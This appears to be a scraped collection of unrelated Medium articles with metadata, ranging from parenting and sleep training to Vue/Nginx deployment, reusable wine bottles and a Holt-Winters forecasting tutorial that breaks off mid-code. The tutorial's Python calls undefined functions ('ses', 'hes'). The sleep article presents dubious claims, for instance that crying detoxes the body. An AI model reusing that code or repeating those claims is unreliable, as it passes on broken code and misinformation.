4. Class Organization
We should only put methods that are specific to the particular class. That’s how we apply SRP(Single Responsibility Principle) to classes. Should put functionally and logically working things together.
Few unrelated methods in Order class
Unrelated methods are moved to separate classes
Always try to program to an interface. If not for a single change you have to go through each and every class to change.
Put inter-related methods one after the other for better readability.
Proximity rule
5. Writing Comments | https://medium.com/swlh/writing-readable-and-maintainable-code-java-8c0adc2f5930 | ['Chamith Madusanka'] | 2020-11-21 08:47:44.880000+00:00 | ['Best Practices', 'Clean Code', 'Code Review', 'Maintainable Code', 'Java'] |
by Martino Pietropoli | First thing in the morning: a glass of water and a cartoon by The Fluxus.
Follow | https://medium.com/the-fluxus/friday-fear-9881fa84cc6f | ['Martino Pietropoli'] | 2018-03-16 01:31:01.216000+00:00 | ['Ilustration', 'Friday', 'Drawing', 'Comics'] |
Attachment Parenting, Co-Sleeping and Room Sharing + Sleep Training | Boy, that’s A LOT to cover in a title. In my experience, attachment parenting, co-sleeping, room sharing often go nicely together, sleep training is generally the phrase that can ruffle feathers. I want to explain a bit more about parenting philosophies and how they can work in harmony with sleep training in most cases and hopefully change some minds here today.
As parents, we bear an enormous responsibility. It’s not just about keeping our little ones alive, warm, fed and happy. We’re all looking to raise exceptional human beings. We’re responsible for the quality of our kids’ lives long after they’ve left the nest, and many of the decisions we make today are going to determine who they are throughout the rest of their lives. I always say to my husband that I just want our two kids to be kind. Obviously, I want the world and more for them, but in a world filled with hate, bullying, and judgment, I want them to be kind.
Many families I work with through my sleep consulting business come to me to learn about my services and characterize themselves as ‘attachment parents’ or ‘helicopter parents.’ I feel like most new parents are all about holding baby close, meeting their needs the moment they arise and protecting them with all they have.
So what is Attachment Parenting?
Attachment parenting by definition is a parenting philosophy that was popularized by Drs. William and Martha Sears in their 1993 publication, “The Baby Book.” The idea, in a nutshell, is maximum closeness and responsiveness. You wear your baby, you share a bed with your baby, you breastfeed on demand, and you answer their cries immediately.
In theory, this creates a strong attachment between mother and baby, which results in well-adjusted children who grow up to be happy, healthy, contributing members of society.
Research does not prove one style of parenting is any better over another. Do you love your kids? Are you doing your best? Are they safe, healthy and happy? Well, consider that a win.
A Tired Little Baby
I have worked with more than a few clients who subscribe to the attachment parenting ideology and they usually feel like they’re “cheating” a little when they call me. You see, the important thing to note here is that Dr. Sears included a catchy bullet point list of the principles of attachment parenting that he refers to as “The Seven B’s.” They are, in no particular order…
Birth Bonding
Breastfeeding
Baby Wearing
Bedding Close to Baby
Belief in the Language Value of Your Baby’s Cry
Beware of Baby Trainers AKA Sleep Consultant (that’s me)
Balance
As you can see, he had to stretch a little to get these to all fit into a “B’ category, but I think you he is a pediatrician, not a poet. I would like to add a rebuttal after 6 and call it ‘Bullshit.’ To shoot down the importance of consolidated, uninterrupted sleep in children is terrible. Research every day proves that sleep is a vital component of our children’s development. Every single child and family I have worked with finished with a child who sleeps well, it’s gentle, effective and tailored to their beliefs and parenting style.
You can bond with your baby as much as you want, breastfeed until you’re blue in the face, and wear your baby in a sling everywhere you go, and as a pediatric sleep coach, I would tell you that’s all fine and dandy — heck, I have two kids that I did this with AND they slept, well I might add. They still do, and today they are 3 & 5.
Sleeping close to baby is another term for bed-sharing, which Dr. Sears is a big fan of. As a sleep expert, I follow the recommendations of the American Academy of Pediatrics around safe sleep, a bed is not safe, there are blankets, pillow, 2 feet to drop to the floor and two humans who are heavy and in many cases, in a deep state of sleep. If it’s working for your family, awesome, the beauty of this world is that you are free to do what you believe is best and I don’t intend on trying to change that. You have your approach and beliefs and I have mine.
Does that mean if you want to co-sleep/bedshare that you can’t sleep train? How can I say this….well….yep. Teaching babies to fall asleep independently isn’t really feasible when Mom is in arms’ reach at all times, waking every 45 minutes to breastfeed back to sleep, that’s not what would be commonly described as “restorative sleep.”
For anyone who wants to keep their little one close but would rather not wake up to baby’s toes in their nostrils ten times a night, I suggest sharing a room instead of a bed. As long as the baby has a separate space to sleep, like a crib or a pack-n-play, then sleep training is once again a viable option ( & something I do a lot with families in large cities, like New York (NY), Philadelphia or D.C., where I have a lot of sleep consulting clients.
Let’s Talk Now about Sleep Training & Crying-it-Out
A lot of my clients are surprised when I tell them that sleep training does NOT require them to close the door, leave the baby and let them “cry it out.”
As a parent, our instinct is to protect our children, to support them, reassure them and to encourage them in the many stages of their lives. I have never met a parent who says ‘crying’ — doesn’t bother me, I could listen to it for days. Instinct and the culture we live in today have created a perception that children should not be crying and that it’s our job as parents to make them stop.
The foundational element to crying is that it’s the way babies communicate and we certainly want to respond to that cry but doing in a way that best supports the baby, but how is hard because every child is different. Sometimes, how we respond and what we believe is best coupled with anxiety and stress they hear in us is felt by them, causing them more stress and anxiety, not allowing them the time to process through it & clear the feeling.
If we respond to the immediate impulse to stop crying, we are less likely to give them the chance to work through the tension they are feeling. Instead, we replace it with another feeling and they don’t ever learn how to process and work it out. A cry is a natural healing mechanism and helps the body decompress. Research shows that stress-release crying early in life will help prevent emotional and behavioral problems later on in life. (Solter)
There are 5 benefits that I believe it’s important for my clients to understand about crying, as there will be some tears during the changes we are making, I make no secret of that and anyone who says they won’t is lying to you.
Crying is a Natural Detox for Our Body. Emotional tears are the type of tears we see most when working on sleep with families. They contain hormones and toxins and research is starting to show it’s helpful to flush these from your body. Crying Helps Create a Self-Soothing Mechanism. Researchers at the NIH have found that crying activates the parasympathetic nervous system. This helps the body to rest and digest. The benefits are not immediate, it takes several minutes of crying to feel the soothing effects of crying. Crying Releases Endorphins. These are feel-good opioids that can help with physical and emotional discomfort. Oxytocin that’s release gives you a sense of calm or well-being, another benefit of a child learning to self-regulate. Crying is a Call for Interpersonal Support. Crying is an attachment behavior and allows us to signal we are looking for care and comfort as we work through the feelings we are having. Crying Helps to Restore Balance. It is a way to restore balance emotionally for a child who is sometimes processing or protesting something they are yet unsure of. Sometimes our little ones will cry when we go to the bathroom, take a shower, go into another room or when a stranger approaches. If we try to mitigate all of them, life as a new parent becomes far less enjoyable.
Let me try to add some context to this. If a child was crying over not getting a brownie for breakfast, should we give in to that cry? If we do, we simply teach them that crying is a tool to get a response to something they desire — whether they should have it or not. I don’t know many parents who want their kids eating brownies for breakfast.
What I can tell you is that I don’t teach “Cry It Out” or leave your baby to cry for hours alone. As a sleep consultant, I teach families about listening to their children’s needs. Infants are especially sensitive to their parents and what their parents are projecting. They also want to be heard, understood and supported. I encourage parents to always remain calm and steady in their interaction with their children, as hard as it is, but calm breeds calm. First and foremost, we want to tend to our child’s needs and ensure that they are OK.
So, when someone says “Beware of baby trainers,” — that’s unfair.
I can’t speak for everyone in my profession, but as a top-ranked Pediatric Sleep Expert, I am part of a collaborative network of pediatric sleep coaches in the world, and we all have one thing in common.
We’re passionate about helping families.
We’ve been through this issue ourselves, we’ve found a solution, and we’re devoted to helping others the same way we helped our own babies because we know first hand, the difference it makes in people’s lives.
We work with people in their most frazzled, desperate moments, and it is challenging work. The reward is in the results; the smiles of those happy babies and the relief in the eyes of the parents who are feeling reinvigorated and re-energized about raising kids now that they’re getting enough sleep.
My only other issue with the attachment parenting style outlined by Dr. Sears lies in the last of his seven rules.
Balance.
“Wear your baby everywhere, breastfeed on demand, respond immediately to every whimper, sleep next to them, and hey, remember to take some time for yourself, because it’s all about balance.”
But on the fundamental principle of balancing your parenting responsibilities with your self- care, I totally agree. Being a mother is a priority. It can easily be argued that it should be your main priority. If you’re going to be the best parent you can be, you absolutely, inarguably, need to get regular, sufficient rest. No mom I know naps when the baby naps.
Parenthood is hard work, it really does take a village. You have to be patient, understanding, energized, empathetic, entertaining, and focused to be a good parent. Ask yourself, how many of those qualities would you say you possess on four hours of sleep?
It reminds me that we, like our babies, are unique, and all of these parenting recipes need to be tweaked and adjusted to suit our individual familiar needs. If attachment parenting is your thing, more power to you.
The best parenting strategy is the one that works for you and your family.
But if your little one isn’t sleeping and bed-sharing doesn’t seem to be rectifying the problem, I urge you to consider bending Dr. Sears’ rules a little and getting some help. You can still snuggle, wear, enjoy and balance that with a great night of sleep for both you and them. Remember, how you feel in the morning your baby feels. I won’t tell Dr. Sears if you don’t.
My name is Courtney Zentz, a Pediatric Sleep Consultant, Lactation Counselor and founder of Tiny Transitions. As an award-winning specialist, I and my team help exhausted parents teach their infants & toddlers to sleep well every night with gentle, customized solutions and both group and private coaching options, so your family can all be at their best. Based in Philadelphia, I work in-home and virtually to provide the support that families need to all be at their best. Looking for support today? Join my free private sleep community here, Slumber Made Simple, where I provide weekly live training, content, and support on your parenting journey. | https://medium.com/@courtneyrzentz/attachment-parenting-co-sleeping-and-room-sharing-sleep-training-9f5eac6c85ff | ['Courtney R. Zentz'] | 2019-09-13 14:26:01.841000+00:00 | ['Newborn', 'Sleep Training', 'Baby', 'Sleep', 'Parenting'] |
Deploy VueJS with Nginx on sub-path | A few days ago I had faced a problem with deploying the Vue project with Nginx on its sub-path. Deploying the Vue project on the root path is not a big problem but deploying it on a sub-path can be a nightmare(actually it took my 3 hours OMG).
So, I wanna share my experience with you guys. Hope this will save you precious night.
Let’s assume our domain will be hackum.com and we wanna deploy our Vue project on hackum.com/app path.
The first thing is first we have to change our Vue projects’s public path
Open vue.config.js file which is located in your Vue project. And change publicPath into your sub-path. For our example, it will be publicPath: ‘/app/’. The end slash is important don’t forget it.
publicPath: '/app/',
outputDir: 'dist',
assetsDir: 'static',
2. Build your project
The build command could be different based on your project config. But in most cases, it will be npm run build.
npm run build
You can find your build command from your packages.json. For my case, it will be npm run build:prod for production. If your config doesn’t have those don’t worry npm run build will work fine work you.
"scripts": {
"dev": "vue-cli-service serve",
"build:prod": "vue-cli-service build",
"build:stage": "vue-cli-service build --mode staging",
},
3. Nginx config
Open your Nginx site config which located in /etc/nginx/sites-available/
Then add those lines into the server block. Don’t forget to change the alias to your project directory
location /app {
alias /home/hackum/app/dist;
try_files $uri /index.html =404;
}
The last thing is to test our config and restart Nginx.
For the test, our config enters the following command.
sudo nginx -t
if everything is okay it will say ‘test is successful’ if not you have to fix a problem before restart it.
If everything is okay then restart Nginx with the following command.
sudo systemctl restart nginx
That's it, thank you for your attention. Hope this helps you.
My youtube channel | https://medium.com/@temuujindev/deploy-vuejs-with-nginx-on-sub-path-5b9381cfba52 | ['Temuujin Yavuuzandan'] | 2020-12-23 09:27:37.982000+00:00 | ['Vuejs', 'Vue', 'Vue Deploy', 'Nginx Vue Sub Path', 'Nginx Vue'] |
Wine Bottles Will Change the World | Wine Bottles Will Change the World
Why the wine industry has the potential to eliminate waste and redefine America’s supply chain. The Good Goods Sep 9·5 min read
We are in the early stages of a shift away from from disposable consumer goods to reusables. The World Economic Forum projects that between 20–40% of single-use packaging will become part of the reusable economy by 2030. Despite the perceived narrative about the difficulties of these models, there are already successful examples demonstrating the financial and environmental opportunities of reusable commerce.
The Four Models of Reusable Consumer Goods
Four main models have arisen for reusable commerce, including:
1. Refill at home (e.g., Blueland, Sodastream).
2. Refill on the go (e.g., Algramo, MIWA).
3. Return from home (e.g., Loop, Danone Water Jugs).
4. Return on the go (e.g., Coca-Cola Brazil Universal Bottle, Starbucks Borrow a Cup),
Refill and return from home model have gained the most traction in the US because they do not require major changes to the current infrastructures. However, these models are generally more expensive than refill and return on-the-go models due to costly last mile logistics. Refill and return on-the-go have the greatest opportunity to increase logistical and financial efficiencies that are critical to wide-scale adoption of reusable consumption.
On-the-go refill and return models have been proven to work at scale in several geographies, including Latin America, Japan, and Europe. The most critical part of their infrastructure is the extensive retailer network that makes returns convenient. However, scaling retailer participation is the major hurdle we face in the United States.
In Search of the Right Opportunity
In 2017, our team launched Fresh Bowl, a grab-n-go food business that sells meals in reusable containers. We sold exclusively from our own retail locations with a vertically integrated supply chain. Using this model, we received 85% of our packaging back and we reduced our packaging costs below single-use alternatives.
After COVID impacted our retail foot traffic, we tried moving into retail distribution. However, we encountered barriers from retailers’ operations teams over the logistical complexity, implementation costs, and packaging safety. Our small brand and limited product selection did not have the influence needed to overcome these obstacles.
We needed a new approach — a product and platform powerful enough to overcome these obstacles.
After months of testing, we are convinced that wine is the category that will lead the world for reusable commerce. Its standardized glass packaging, influential and environmentally-conscious producers, and vast network of retail locations make the wine industry perfectly positioned to lead the change.
Figure 5.Wine in reusable bottles
Wine’s current packaging can be reused without extensive manufacturing changes. Approximately 75% of the wine industry’s volume (by units sold) could transition instantly to one of just six standardized formats without changing producers’ current filling lines or operations. In contrast, it took Haagen-Dazs two years to redesign the packaging and operations to launch their ice cream in reusable containers.
In addition, wine producers have the sway to drive fundamental change. Consumer demand for branded products in beer, wine and spirits give producers a strong position in the supply chain. For instance, AB InBev has established thriving beer bottle return programs for Modelo & Corona in Mexico by requiring distributors to exchange empty bottles for new beer.
In the light of the global glass shortage, producers have increased the required ratio of returned bottles to purchased bottles and created a secondary market for empty bottles. Some distributors are now willing to pay retailers up to four times the established Mex$20/crate for the empty bottles.
The example above demonstrates the leverage that major brands hold and the opportunity to align incentives to shift a large and complex supply chain across an entire country.
The Potential Impact of Reusable Wine Bottles
Wine can create the beachhead for reusable commerce. With wine sold at over 1M locations in the United States, this network would give America the largest return network in the world.
Producers who strive to make a positive impact have the opportunity leverage their actions by leading the way. A normal producer in a reuse program, like Good Goods, might reuse thousands of bottles each year, but the retailers and distributors they convince to participate can collect millions of bottles.
Wine bottle reuse represents just part of a much larger opportunity. If wine can drive adoption of reusable models, other industries can follow.
To quote the voice from Field of Dreams, “If you build it, they will come.”
At Good Goods, we are building the field and the wine industry is answering the call. Producers of all sizes are committing to the effort. The dream of reusable bottles in the wine industry is becoming a reality. Together, we are working towards a regenerative economy where the earth is freed up to produce resources, not house more waste. A future that the wine industry is leading.
For more information about Good Goods, please visit our website (www.thegoodgoods.co). If you are a retailer, distributor or producer please fill out our contact form and a team member will connect with you within 24 hours.
- Zach Lawless, CEO of Good Goods | https://medium.com/the-good-goods/wine-bottles-will-change-the-world-795322f66ed0 | ['The Good Goods'] | 2021-09-09 20:00:32.936000+00:00 | ['Sustainability', 'Reuse', 'Wine', 'Circulareconomy', 'Glass Bottle'] |
Earn more profits from your online business with digital marketing | Our digital marketing competencies have already benefited countless businesses in the USA and other countries. Being a reputable digital marketing agency, SynapseInteractive offers exclusive, result oriented digital marketing services to clients looking to increase the earnings from their online business ventures.
Digital marketing consultants, at SynapseInteractive, can be relied upon for helping your website get more customers and earn more profits for you. Owning a website and getting it online is just the first step towards success. The big task is still undone! You still need to ensure that your website is searchable by your potential customers online and, for that, you will require expert and result oriented digital marketing campaigns to be raised.
SynapseInteractive is the ultimate digital marketing agency in the USA, UK, Australia, and Europe or elsewhere to help you reach out to your business prospects in minimal time and minimal efforts.
Follow us on Facebook: SynapseInteractive: Digital Marketing Agency
Learn more: Digital Marketing Agency PPT or Digital Marketing Agency Video | https://medium.com/synapse-interactive/earn-more-profits-from-your-online-business-with-digital-marketing-ee00dc4c5ae3 | ['Sajiv Kumar'] | 2018-05-17 12:10:32.632000+00:00 | ['Online Marketing', 'Digital Marketing Company', 'Digital Marketing Agency', 'Synapseinteractive', 'Digital Marketing'] |
My UX design process. My UX design process is inspired by the… | Understand and Empathize
Image Source: Thrive Global
Research: In this phase: I conduct secondary research to better understand the problem space. The research helps me recognize the cause and impact of the problem. The measures taken to solve the problem and why are they inadequate.
Understand the Users: This phase demands to conduct contextual inquiry to know users’ pain points and empathize with their issues and abilities. Asking the right questions is an important aspect of this step
2. Analyze and Define
Image Source: DisplayR
Synthesize Data: Creating affinity diagrams, empathy mapping, open coding are some of the approaches I follow to gather insights from the data.
Define User Requirements: Once I have insights from the data I define key user goals and requirements. This is followed by creating personas. This phase acts as the catalyst for the next step of ideation.
3. Ideate and Sketch
This is my favorite step in the process. It’s iterative and involves
Explore Solutions: I brainstorm in stages to find possible ideas. After every stage, I iterate on the list of explored ideas to combine them and improve on them further.
Check Feasibility: It is important to check the social, economic and technical feasibility of a solution to move forward with it. Although the original design framework does not focus much on the feasibility aspect, I believe this is an important factor and it reduces the possibility of re-considering a solution due to few constraints as I move forward in the process.
4. Prototype
Image Source: CareerFoundry
This step brings the idea to reality.
Low Fidelity Prototypes: To conduct initial self-evaluations I create quick low fidelity prototypes. Creating low fidelity mockups is easy, saves time and cheaper.
High Fidelity Prototypes: Once I have done the self-evaluations and identified errors I move to create a high fidelity prototype. I keep iterating on this step until I have created a design with the least possible errors.
5. Evaluate
Image Source: Tsarin Slavov
This is the most important step in the process. Testing the product with real users helps in finding any usability errors.
User Evaluations: Based on the product design I select a user evaluation method to test the product with actual users. Results from these evaluations help me decide if I need to go back and iterate on the step of Ideation or Prototype. The scale to which the product needs to be refined is based on user evaluations.
After numerous iterations of evaluations and refining the product, forms the Final Product.
6. Reflect
This is a critical step involving:
Process Reflection: Once the final product is out I reflect on the entire process to assess my work at each step. This self-assessment helps me identify areas where I could not perform well and find reasons for the same.
Improvements: Once I know my faults I can identify the areas where I need to improve myself in order to create better design solutions in the future. | https://medium.com/@sanikavedak/the-ideal-ux-design-process-i-would-follow-c0994f42824f | ['Sanika Vedak'] | 2020-01-12 06:04:07.365000+00:00 | ['UX Design', 'Design Thinking', 'Interaction Design', 'Design'] |
They called me Harambe | Photo credit: Robert Streithorst
They called me Harambe. I lived at the Cincinnati Zoo until recently when I was shot down in my exhibit because a little boy fell into the water to play with me. I was just as surprised as everyone else when it happened, and I wasn’t at all sure what to do. At first I lifted him up to check to see if he was okay, but then when I saw the crowds and heard all the noise, I felt quite anxious and scooped him up with one arm and pulled him over to the other side of the moat where it was less congested.
I can certainly understand why everyone was terrified. I mean I weighed four-hundred plus pounds and could have injured this three-year-old boy with my size and strength alone, even if all I wanted to do was protect him. I’m not sure what would have happened if someone didn’t shoot me, but the whole thing seems such a shame. I loved my life in the zoo, and people loved to visit me. I was a real character! I reveled in posing for the camera and would have enjoyed participating in selfies, too, had I been able to get close enough to all my visitors. And I always got a kick out of shooting the bird while watching all the reactions! But I have to say I delighted most in pretending to splash my fans without getting them wet. Not even a drop!
I’ve heard that the woman who filmed everything said the mom wasn’t holding her son’s hand, and at one point he was behind her clearly out of her sight. She could hear him say to his mother that he wanted to jump in the water and play with me. And then she heard his mother say, “No, you’re not. No, you’re not.” Hey, there are signs all over the place that say children must be supervised at all times for a reason! And it seems to me that when a mother says “No,” a child should listen.
If you ask me, children need to be disciplined, and they actually thrive when parents set boundaries and follow through. The truth is that children feel safer when they know they won’t be allowed to break the rules without consequences. And I think that teaching “no means no” should be accomplished well before children are taken to potentially hazardous places. But you know what? People make mistakes from time to time, and everyone is entitled to make a few. But my dream for the future is that our mistakes are of little significance and that they don’t have the potential to alter lives with terribly tragic outcomes. To accomplish this, modification will need to be made to the majority of our public spaces.
Thank you for letting me tell my story and for all your concern, love and support. Hopefully, we will see each other on the other side ❤ | https://medium.com/the-coffeelicious/they-called-me-harambe-4ae2fc786998 | ['Danna Reich Colman'] | 2017-08-12 05:45:31.473000+00:00 | ['Creative Nonfiction', 'Harambe', 'Parenting', 'Animals'] |
A Thorough Introduction to Holt-Winters Forecasting | The Holt-Winters method — also known as triple exponential smoothing — is an incredibly popular and relatively simple method for time series forecasting. This article will be a somewhat thorough introduction into the math and theory of the Holt-Winters method, complete with a Python implementation from scratch.
HOLT-WINTERS METHOD
The Holt-Winters method is a very common time series forecasting procedure capable of including both trend and seasonality. The Holt-Winters method itself is a combination of 3 other much simpler components, all of which are smoothing methods:
Simple Exponential Smoothing (SES): Simple exponential smoothing assumes that the time series has no change in level. Thus, it can not be used with series that contain trend, seasonality, or both.
Simple exponential smoothing assumes that the time series has no change in level. Thus, it can not be used with series that contain trend, seasonality, or both. Holt’s Exponential Smoothing (HES): Holt’s exponential smoothing is one step above simple exponential smoothing, as it allows the time series data to have a trend component. Holt’s exponential smoothing is still incapable of cope with seasonal data.
Holt’s exponential smoothing is one step above simple exponential smoothing, as it allows the time series data to have a trend component. Holt’s exponential smoothing is still incapable of cope with seasonal data. Winter’s Exponential Smoothing (WES): Winter’s exponential smoothing is an extension to Holt’s exponential smoothing that finally allows for the inclusion of seasonality. Winter’s exponential smoothing is what is referred to as the Holt-Winters method.
The Holt-Winters method therefore is often referred to as triple exponential smoothing, as it is literally the combination of 3 smoothing methods built on top of each-other.
SIMPLE EXPONENTIAL SMOOTHING
The simple exponential smoothing method does not take into account any trend or seasonality. Rather, it assumes that the time series data only has a level, L.
UPDATE EQUATION
We can define the simple exponential smoothing method as:
This equation is known as the level update equation, as it updates the level of the current time step based on the previous level estimate. The equation is therefore recursive, since every level estimate must be computed using every estimate before it.
The alpha, α, is known as the smoothing constant. The smoothing constant has domain 0 ≤ α ≤ 1, and it dictates how much weight is given to past values when being included in the current level estimate. This is due to the recursive nature of the level update equation, as if we were to begin to unroll the equation, we would see that the weights on each previous value exponentially decreases:
The unrolling will continue all the way until the very first time step. Since there is obviously no way we can calculate the level for the very first time step, (since we have no previous level to look back on) we will begin the entire sequence by just setting the very first level as the value of the very first time step.
The SES method is essentially just a weighted average across all time steps, with the weights exponentially decaying. Hence the name: simple exponential smoothing.
IMPLEMENTATION
We will implement simple exponential smoothing in Python, and see some examples.
Recalling the equation, simple exponential smoothing can be implemented as:
from typing import List def simple_es(series: List, alpha: float) -> float:
if len(series) < 2:
return series[0]
return (alpha * series[-1]) + ((1 - alpha) * ses(series[:-1], alpha))
Like the level update equation, we can see that the Python implementation is subsequently recursive as well. The very first level estimate is set to the value of the very first data point — this is our base case.
FORECASTING
When forecasting with the SES method, the future time step is just the level of the current time step. Therefore, the forecast is the level L at time step t.
As an example, we will apply our Python SES implementation to some real world data:
Above is a set of shampoo sales over a 3 year period, with every time step being the sales for one month. The data can be downloaded here.
Let’s keep the final month hidden when using our SES, since we want to be able to contrast our forecast with the ground truth.
Since a SES forecast is just simply the estimated level at time step t, forecasting with our SES implementation is as simple as:
forecast = simple_es(data[:-1], alpha=0.2)
In this particular case the alpha parameter was not optimized, rather it was quickly chosen manually as an alpha around 0.1–0.4 is generally a good rule of thumb.
We will now plot the forecast against the ground truth to get a better visualization:
plt.figure(
figsize=(16, 10)
)
data = pd.read_csv('../data/shampoo.csv')["Sales"]
data = data.values.tolist() final_months = (34, 35)
forecast = ses(data[:-1], alpha=0.2) plt.plot(data, linewidth=2, label='Shampoo Sales')
plt.plot(final_months,
[data[-2], forecast],
label='Forecast') plt.axvspan(*final_months, facecolor='grey', alpha=0.25) plt.legend()
plt.show()
The grey bar represents the forecasted month. No surprise, the forecast is terrible — quite literally in the opposite direction. This is to be expected as simple exponential smoothing is just that: simple. It does not consider any kind of trend or seasonality and was therefore doomed from the start with this particular data set.
SES is still a smoothing method after all, and to get a better visual of how it operates we can plot every single estimated level:
The smoothing action can clearly be seen.
In order to improve the forecast, a more sophisticated method that is capable of incorporating trend must be used.
HOLT’S EXPONENTIAL SMOOTHING
A step up from simple exponential smoothing, Holt’s exponential smoothing method is capable of taking into account a trend component. Holt’s method is often referred to as double exponential smoothing.
Holt’s method extends simple exponential smoothing by assuming that the time series has both a level and a trend. A forecast with Holt’s method can therefore be defined as:
As we can see, it is literally just a simple extenuation of original SES method, just with the inclusion of the trend, T, component.
However, it is important to note that there are two types of time series, each with their own slightly different forecasting equation:
Additive: In an additive time series, the time series is the sum of its components.
In an additive time series, the time series is the sum of its components. Multiplicative: In a multiplicative time series, the time series is the product of its components.
The forecasting equation must correspond to the particular type of time series:
We must therefore firstly identify the type of time series, and then forecast accordingly.
UPDATE EQUATION
The trend estimate for a given time t can be computed as:
This equation is known as the trend update equation, as it updates the trend estimate of the current time step based on the difference between previous level estimates. One may notice it is very akin to the original level update equation in simple exponential smoothing.
Similarly to the level update equation, the trend update equation also takes its own parameter, β. The beta is the trend equation’s own smoothing constant, and is therefore more or less analogous to the alpha smoothing constant seen earlier in SES.
Beta also has the domain 0 ≤ β ≤ 1, and it dictates how how fast a given trend estimate should be adjusted.
IMPLEMENTATION
As was earlier done with simple exponential smoothing, we will implement Holt’s exponential smoothing in Python, and see some examples.
Recalling the trend update equation, Holt’s exponential smoothing can be implemented as:
def holt_es(series: List, alpha: float,
beta: float, initial_trend: float) -> float: if len(series) < 2:
return initial_trend
l_t = ses(series, alpha)
l_t_prev = ses(series[:-1], alpha)
trend_t_prev = hes(series[:-1], alpha, beta, initial_trend)
return (beta * (l_t - l_t_prev)) + ((1 - beta) * trend_t_prev)
The Python implementation for Holt’s exponential smoothing builds on top of our earlier SES function, as that gives us the level estimate. The HES function is recursive just like the SES function, however note the difference in the base case and the addition of an “initial trend” parameter. The initial trend is required because unlike simple exponential smoothing, the start of the trend sequence is not just simply the value of the oldest time step. Rather, the beginning is a trend estimate itself, calculated as the difference between the first two time steps. This implementation assumes an additive time series with no seasonal component.
FORECASTING
When forecasting with the HES method, we must remember the different types of forecasts — Additive and Multiplicative — and choose the forecasting equation accordingly. In the case of our Shampoo data, we will use the additive forecasting equation. In code, this translates to:
initial_trend = data[1] - data[0] level_estimate = simple_es(data[:-1], 0.2) forecast = level_estimate + holt_es(data[:-1],
0.2, 0.3, initial_trend)
Just like the example with SES, we are intentionally forecasting the final already known value so that we can contrast the forecast with the ground truth.
The alpha and beta parameters for this example were not optimized, rather they were picked manually.
It is important to note that this specific forecast example is only for a single step in the future. Since k=1 we basically take the HES result as is. If we were to predict multiple time steps into the future, we would need to multiply the trend component with the desired k number of steps.
We will now plot the forecast against the ground truth to get a better visualization:
Once again, the grey bar is the forecasted window, the orange is the forecast, and the blue is the actual series.
Unfortunately, Holt’s forecast is still not very different from the SES forecast. However, by plotting every forecast plus a few steps ahead, we can see that Holt’s method does indeed clearly display the capturing of a trend component:
The final improvement that must be made is the capturing of a seasonal component.
WINTERS’ EXPONENTIAL SMOOTHING
Winters’ exponential smoothing method is an extension to Holt’s method that finally allows for the capturing of a seasonal component. Since Winter’s exponential smoothing is built on top of both single and double exponential smoothing, Winter’s method is thus also known as triple exponential smoothing.
Winter’s method assumes that the time series has a level, trend and seasonal component. A forecast with Winter’s exponential smoothing can be expressed as:
The forecast equation is the extenuation of both the SES and HES methods, finally augmented with the inclusion of the Seasonal, S, component.
Just like with Holt’s method, the forecasting equation has multiple variations for each of the types of time series:
It is important to notice that each of the time series components do not need to exhibit the same behaviour. For instance, the multiplicative seasonality formula does — obviously — have multiplicative seasonality, however the trend portion is additive:
This independence allows the mixing and matching of different behaviours to model many different types of time series:
UPDATE EQUATION
The inclusion of the seasonality component now adds the third update equation:
Once again, there is the introduction of another smoothing constant: γ. The gamma smoothing constant also has the domain 0≤γ≤1. This specific update equation is for a time series with multiplicative level. For an additive level, use the seasonal update equation below:
In both equations, we see that the seasonality estimate calculation requires us to remove the level component from the time step, which is accomplished by doing the inverse operation for the behavioural type of the level. In other words, the level component must be subtracted if it is additive, and divided out if it is multiplicative.
Winter’s method not only introduces the seasonality update equation, but it actually also introduces a modified version of the original level update equation.
The original level update equation does not work properly on seasonal data. Therefore, since the time series is assumed to now have a seasonal component, the level equation must firstly “deseasonalize” the data in order to achieve a proper level estimate.
The new level update equation can be expressed as:
This specific update equation is for additive seasonality and additive trend. The update equations for each type of seasonality can be seen below:
We can see the specific deseasonalization effect here:
In order to remove the seasonal component, we must know what type of time series seasonality we are attempting to model, and do the inverse. This translates into either dividing or subtracting the seasonal component for multiplicative and additive time series seasonality, respectively.
IMPLEMENTATION
We can finally implement Winter’s method in Python, and see some examples.
Recalling all of our update equations, Winter’s exponential smoothing can be implemented as:
def winters_es(series: List,
uppercase_m: int,
alpha: float=0.2,
beta: float=0.2,
gamma: float=0.15,
future_steps: int=1) -> List:
i_l = [series[0]]
i_t = [initial_trend(series, uppercase_m)]
i_s = initial_seasonality(series, uppercase_m)
forecasts = []
for t in range(len(series) + future_steps):
if t >= len(series):
k = t - len(series) + 1
forecasts.append(
(i_l[-1] + k * i_t[-1]) + i_s[t % uppercase_m]
)
else:
l_t = alpha * (series[t] - i_s[t % uppercase_m]) + (1 - alpha) * (i_l[-1] + i_t[-1])
i_t[-1] = beta * (l_t - i_l[-1]) + (1 - beta) * i_t[-1]
i_l[-1] = l_t
i_s[t % uppercase_m] = gamma * (series[t] - l_t) + (1 - gamma) * i_s[t % uppercase_m]
forecasts.append(
(i_l[-1] + i_t[-1]) + i_s[t % uppercase_m]
)
return forecasts
As we can see, Winters’ method is the conglomeration of every single smoothing method and equation thus far. This specific implementation is for all additive components, and was inspired by this. Due to the increased complexity of the implementation, it was simpler to make it non-recursive and to add the forecasting capability internally.
It is important to notice the addition of the “initial_trend” and “initial_seasonality” functions. This is due to the introduction of the seasonality component which now changes the initial conditions.
The initial trend for a time series with an additive seasonality can be computed as:
In Python code, this translates as:
def initial_trend(series: List, uppercase_m: int) -> float:
return sum([
float(series[i+uppercase_m] - series[i]) / uppercase_m
for i in range(uppercase_m)
]) / uppercase_m
Essentially, this is just the average of trend averages across seasons.
As for the initial seasonality, it can be computed as:
def initial_seasonality(series: List, uppercase_m: int) -> List:
initial_season = []
n_seasons = int(len(series)/uppercase_m)
season_averages = [sum(
series[uppercase_m * i:uppercase_m * i + uppercase_m]
) / uppercase_m for i in range(n_seasons)]
initial_season.extend([
sum([series[uppercase_m*j+i]-season_averages[j]
for j in range(n_seasons)]) / n_seasons
for i in range(uppercase_m)
])
return initial_season
Notice that unlike the other initial states, the initial seasonality is a vector. This is because we need to start at minimum with at least one entire season.
We firstly calculate the average level for every season, then divide every single time step by the level average of the time step’s corresponding season. Finally, the results are averaged across each season, and we are left with the initial seasonality vector. The full mathematical explanation gets rather complex, and will thus be omitted from this article.
The entire implementation for the Holt-Winters method:
from typing import *
def initial_trend(series: List, uppercase_m: int) -> float:
return sum([
float(series[i+uppercase_m] - series[i]) / uppercase_m
for i in range(uppercase_m)
]) / uppercase_m
def initial_seasonality(series: List, uppercase_m: int) -> List:
initial_season = []
n_seasons = int(len(series)/uppercase_m)
season_averages = [sum(
